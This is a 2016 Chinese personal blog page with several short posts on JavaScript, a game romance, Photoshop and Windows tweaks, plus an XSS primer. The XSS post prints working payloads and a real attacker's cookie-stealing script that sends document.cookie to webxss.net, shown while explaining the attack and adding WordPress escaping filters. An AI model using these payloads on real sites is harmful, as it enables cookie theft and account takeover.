Saber 酱的抱枕

Fly me to the moon

09/1
2016
学习

JavaScript计算明天的日期

计算第二天的日期的要点在于,在跨月时进入下一月,在跨年时进入下一年。其他时间只要天数加1就行。所以找出每个月的最后一天就ok了。

function tomorrow_date (y,m,d){ //参数里的月份需要是自然月。也就是说月份+1这步在传参前就设置好
    var run = false;    //判断是否是闰年
    if (!(y%4)) {       //如果年份是4的整数倍
        if (!(y%100)) {     //如果是整百年
            if (!(y%400)) {     //如果是400的整数
                run = true;
            }
        }else{
            run = true;
        }
    }

    if(d==28&&m==2){    //2月28日
        if(!run) {  //非闰年
            d=1;
            m++;
        }else{  //闰年
            d++;
        }
    }else if(d==29&&m==2){  //2月29日
        d=1;
        m++;
    }else if(d==30&&(m==4||m==6||m==9||m==11)){    //30天的月份里的第30天
        d=1;
        m++;
    }else if(d==31){            //31天的月份里的第31天
        d=1;
        if (m==12){    //如果是12月则进入下一年
            m=1;
            y++;
        }else{
            m++;
        }
    }else{      //如果今天不是月份的最后一天
        d++;
    }

    return "明天是"+y+"年"+m+'月'+d+'日';
}

var myDate = new Date();
var y = myDate.getFullYear();
var m = myDate.getMonth()+1;    //因为js的月份是从0开始的,所以这里月份+1
var d = myDate.getDate();
document.write(tomorrow_date(y,m,d));

感谢TianMao指出闰年的问题~另外他提出了使用Date对象的setDate方法来计算下一天的办法。这个办法很简便,当我们重设了日期(第几天)后,JavaScript会自动更新Date对象的月份、年份,这样就我们就不用自己写上面的判断了。

var myDate = new Date();
myDate.setDate(myDate.getDate()+1);
var y = myDate.getFullYear();
var m = myDate.getMonth()+1;
var d = myDate.getDate();
console.log(y,m,d);

JavaScript计算明天的日期

08/31
2016
游戏

我终于有情缘缘啦~

剑侠情缘三 剑网三 情缘 烟花 三生树 截图

2016年8月30日晚,绑定的情缘。

半个月前,我还不能想象我竟然也会有情缘,但在昨晚,我已经和柚子绑定了情缘了。

我的情缘缘——星子怀袖,是个毒萝,昵称柚子。她的签名是“其惟星辰与我同 愁心且怀袖”。某古风(似乎是)歌曲《少年熬至老》里的一句歌词。

8月15那天晚上,我去洛阳打曹炎烈,喊着“有没有中立奶妈爱我啊,之后她组了我。于是我教她去另一边打狼牙兵,之后我们准备去大战,为了方便拉她,我让她拜了我亲传。从那以后,我们就是师父父和徒弟弟了~

我们每天晚上一起玩,做完各种日常,偶尔去打下副本。她有个pvp的藏剑,但是毒萝萝只玩奶,也只玩pve。作为一个有责任心的师父,我给她换了帮贡装,买了一身dps的挖宝套,带她去包团(哼,我才不会说我黑出翔导致什么都没出)。

我和柚子都是话不多的人,我们有时候会上YY,不过基本上只聊游戏。我只知道她是大学放假,所以时间很多。她经常白天玩藏剑,晚上换毒萝和我一起做任务(有个坏消息是她很快就要开学了)。在一起玩的时间久了,慢慢的就感觉关系更亲密了。我开始做小香袋慢慢刷好感,后来她也给我刷,不知不觉已经满1500了。昨晚做完了日常,我喊她上了YY。我说,你感觉哪里放烟花比较好啊,我要给你放烟花(其实她以前在洛阳先给我放过一个无间长情)。后来我们去了三生树下,我先放了个海誓山盟,然后问她,“你愿不愿意和我绑个情缘啊?”。听到她说“可以”的时候,我超~开心的(虽然早有预料啦)。之后我们互绑了情缘,烟花连放,尽情截图~(我这关注点是不是有点不对)

从此以后,我也是有情缘缘的人啦~\(≧▽≦)/~

下面是秀恩爱截图,多图预警~也可以点右边看图模式查看大图。
Read More →

我终于有情缘缘啦~

08/31
2016
学习

简单的了解XSS攻击

XSS表示Cross Site Scripting(跨站脚本攻击),是指攻击者向目标站点注入HTML标签或脚本。

简单的示例如下:

简单的了解XSS攻击

http://127.0.0.1/t/index.html?%3Cscript%3Ealert(%27xx%27)%3C/script%3E

%3C和%3E是尖括号<和>。如果我们没有对XSS攻击的隐患进行处理,那么打开这个url,结果如下:

简单的了解XSS攻击

为什么呢?因为问号后面的部分将被解析为script标签,里面想放什么内容都可以,甚至也可以引入外部文件。

简单的防范办法是把提交内容里的尖括号替换为HTML实体。如:

str.replace(/</g,"&lt;").replace(/>/g,"&gt;");

这样,尖括号已经不再是标签,而是一个普通字符了(虽然看起来是没有区别的),它里面的内容也不会被当做代码执行。


img标签页也经常被用来进行XSS攻击。例如我们可以在页面上插入一个img,以此引入任意的外部js文件:

<img src='x' onerror=appendChild(createElement('script')).src='http://127.0.0.1/t/t.js' />

我刚才用恶意图片这种攻击方法发了条评论,结果在前台页面是可以执行的QAQ 吓得我赶紧去改了。在function.php中加入以下代码:

//输出前台评论时转义HTML代码
function plc_comment_display( $comment_to_display ) {
 $comment_to_display = str_replace( '<', "&lt;", $comment_to_display );
 $comment_to_display = str_replace( '>', "&gt;", $comment_to_display );
 return $comment_to_display;
}
add_filter( 'comment_text', 'plc_comment_display', '', 1);
add_filter( 'comment_text_rss', 'plc_comment_display', '', 1);
add_filter( 'comment_excerpt', 'plc_comment_display', '', 1);

这样恶意代码在前台也无法执行了,而且还原形毕露。这个代码的缺点就是以后评论里不能使用HTML标签了。

XSS虽然很坑爹,但js代码毕竟是要在浏览器里执行的,只要我们做好XSS的防范处理,让这些攻击在前台页面里执行不了,也就ok了。

ps:如果需要在评论提交时也转义一次HTML代码,可以由前台来做,也可以由后台做。向function.php里加代码:

//提交评论时转义HTML代码
function plc_comment_post( $incoming_comment ) {
 $incoming_comment['comment_content'] = htmlspecialchars($incoming_comment['comment_content']);
 $incoming_comment['comment_content'] = str_replace( "<", '&lt;', $incoming_comment['comment_content'] );
 $incoming_comment['comment_content'] = str_replace( ">", '&gt;', $incoming_comment['comment_content'] );
 return( $incoming_comment );
}
add_filter( 'preprocess_comment', 'plc_comment_post', '', 1);

由于我的后台之前已经有转义处理了,所以我没有启用这部分的代码。


说来可巧,我才了解了下xss,就马上遇到了一起xss攻击。今天在我管理的某网站上,也是有人通过表单提交了xss攻击的代码,可惜的是后台自带处理,他的攻击没能生效。而且那个表单的数据也不会在前台展示,因此不会影响到在线访客。

那个恶意代码提交后,后台查看如下(后台已经转义):

&lt;/textarea&gt;‘&quot;&gt;&lt;sc<x>ript src=http://t.cn/RqWCoIS&gt;&lt;/sc<x>ript&gt;

攻击者想引入一个外部js文件的计划落空了。那个这个短网址到底是什么呢?打开短网址,跳转到了http://webxss.net/iNYIsC?1461722211,输出如下js代码:

(function() {
	(new Image()).src = 'http://webxss.net//index.php?do=api&id=iNYIsC&location=' + escape((function() {
		try {
			return document.location.href
		} catch (e) {
			return ''
		}
	})()) + '&toplocation=' + escape((function() {
		try {
			return top.location.href
		} catch (e) {
			return ''
		}
	})()) + '&cookie=' + escape((function() {
		try {
			return document.cookie
		} catch (e) {
			return ''
		}
	})()) + '&opener=' + escape((function() {
		try {
			return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
		} catch (e) {
			return ''
		}
	})());
})();
if ('1' == 1) {
	keep = new Image();
	keep.src = 'http://webxss.net//index.php?do=keepsession&id=iNYIsC&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};
x = new Image();
x.src = "http://webxss.net//authtest.php?id=iNYIsC&info=1";

攻击者从http://webxss.net/引入js代码,并盗取cookie信息,再发送给攻击者iNYIsC。

这个网站号称仅用于安全测试。啧啧啧,厉害了我的哥

简单的了解XSS攻击

08/29
2016
ACG

2016年8月里番合集

2016年8月里番合集下载

好像有好几个月没发过合集了呢,其实是忘了←_←

发下今年8月的吧,下载速度挺不错的。

磁链:
magnet:?xt=urn:btih:6101B4C96492AD3D9F8D44973956DC48A6B5C99E&dn=%5B%E6%A1%9C%E9%83%BD%E5%AD%97%E5%B9%95%E7%BB%84%5D2016%E5%B9%B48%E6%9C%88%E5%90%88%E9%9B%86

ps:自从玩了CM3D2,身体越来越差了……是P站老司机パラ太带领我走进CM3D2的大门的←_← 配图为他发的一张作品。

2016年8月里番合集

08/25
2016
学习

JavaScript数组去重的一个方案

刚才我整理出来了一百多行url,想去掉重复的。于是我到JavaScript里建了个数组,把这些url都转成了数组里的字符串。之后我找到了一个使用hashtable(哈希表)的去重算法,比循环更简便:

function unique(arr) {
    var result = [], hash = {};
    for (var i = 0, elem; (elem = arr[i]) != null; i++) {
        if (!hash[elem]) {
            result.push(elem);
            hash[elem] = true;
        }
    }
    return result;
}

上面的方法是有缺陷的,今天在知乎专栏看到了更好的方法,用的是ES6的set类型。set类型不允许添加重复项,所以我们根本不用自己去重了,直接把数组转换文set对象就可以去掉重复项了:

function unique(arr){
    var set = new Set(arr);
    return Array.from(set);
}

JavaScript数组去重的一个方案

08/24
2016
学习

HTML5中input标签的placeholder属性

网页上的输入框里经常会预设浅色的文字用来提示用户应该输入什么内容。当用户开始填写内容时,预设的文字就消失,文字颜色也变成正常的颜色。如果用户清除了填写的内容,则恢复成预设的样式。

这个效果以前经常用JavaScript来做,现在HTML5中对一些input标签添加了placeholder属性,实现了类似的效果。

我们可以通过placeholder属性的值来规定预设值。预设文字是浅色的,在用户开始输入时也会隐藏。

我们可以通过以下选择器来设置所有placeholder文字的样式:

::-webkit-input-placeholder{color:#0c0;}
::-moz-placeholder{color:#0c0;}
:-ms-input-placeholder{color:#0c0;}

IE10才开始支持placeholder属性。而且它的选择器前面只有一个冒号(这个我没测试过)。

这是个很美好的属性,不过兼容性还有点坑。来个示例:

HTML5中input标签的placeholder属性

08/22
2016
ACG 软件

Photoshop CS6初音启动图片两枚

初音 Photoshop cs6 启动图片 替换

以前我替换过许多次Photoshop cs6的启动图片,也发过替换教程。今天把两个初音的启动图片发出来。

这幅图是第一张图的启动效果,原图是画师ATdan的,当时他把这张图发微博的时候我就求了授权,然后他把透明立绘图发给了我。遗憾的是我完成替换之后,启动时有色块(上图底部的部分),时至今日也没能解决。不过只要心中有爱,这都不是事~

第二张图图也是p站的,不过id记不清了。我抠图后把初音叠加在了原来的启动图上。第二张图不会有色块。

替换图片的话推荐使用PS启动界面替换器比较方便,记得勾选去除文字的那三个选项框,然后点去掉√项,去掉启动时的文字。

这两张初音的启动图发在下边,直接保存就可以使用了。
Read More →

Photoshop CS6初音启动图片两枚

08/21
2016
软件

win7任务栏去除磨砂效果

win7任务栏去除磨砂效果 Taskbar Blur Toggle

Taskbar Blur Toggle是一款去除win7任务栏磨砂效果的软件,注意,只是去除磨砂,任务栏还是半透明的,达不到全透明效果。通透点倒是可以的。(据说win8和8.1也可以用,但我不知道效果如何)

度盘下载

其实win10上有startiisback可以做到全透明,效果非常完美:

win7任务栏去除磨砂效果 Taskbar Blur Toggle

但win7上不能用startiisback,所以凑合用Taskbar Blur Toggle吧。点第一个选项Disable Blur就行了。因为它不能去除半透明效果,所以在有程序图标的地方效果不太明显,在空白处效果比较明显。

前后对比:
win7任务栏去除磨砂效果 Taskbar Blur Toggle
win7任务栏去除磨砂效果 Taskbar Blur Toggle

win7任务栏去除磨砂效果 Taskbar Blur Togglewin7任务栏去除磨砂效果 Taskbar Blur Toggle

win7任务栏去除磨砂效果

08/20
2016
软件

使用Notepad++进行多行操作

我常用的编辑器是Sublime Text,但是Sublime Text不支持GBK编码。虽然可以装插件解决,但插件并不十分可靠。例如批量操作多个GBK编码的文件,保存后发现还是有几个文件变成乱码了。所以我现在用Notepad++来批量操作GBK文件。

Notepad++原生支持GBK,另外它有个好,就是跑的特别快。当操作数百上千个文件时,文件打开速度和保存速度比Sublime Text高到不知哪里去了。

但是Notepad++也并不完美,它默认的替换功能不支持查找、替换多行文本,如果我们把多行文本直接粘贴进去,只会留下第一行。这个时候就得费点事了,用扩展模式手动加换行符\r\n:

使用Notepad++进行多行操作

如果替换后的文字也需要是换行的,那么也得加\r\n。

由于Notepad++的查找、替换输入框只会保留多行文本的第一行,所以我们得先在别的地方加好换行符,然后复制到Notepad++里,这点也很蛋疼,不过只能忍了。

ps:有个超级替换软件UltraReplace其实在替换方面更好使,不用考虑编码问题,原生支持换行,而且也省去了自己打开文件、保存文件的步骤。不过人嘛,有时候还是得自己弄才放心。这软件万一替换出问题了可没法撤销的。在我对它充分了解之前,多行操作还是先用编辑器顶着吧。

使用Notepad++进行多行操作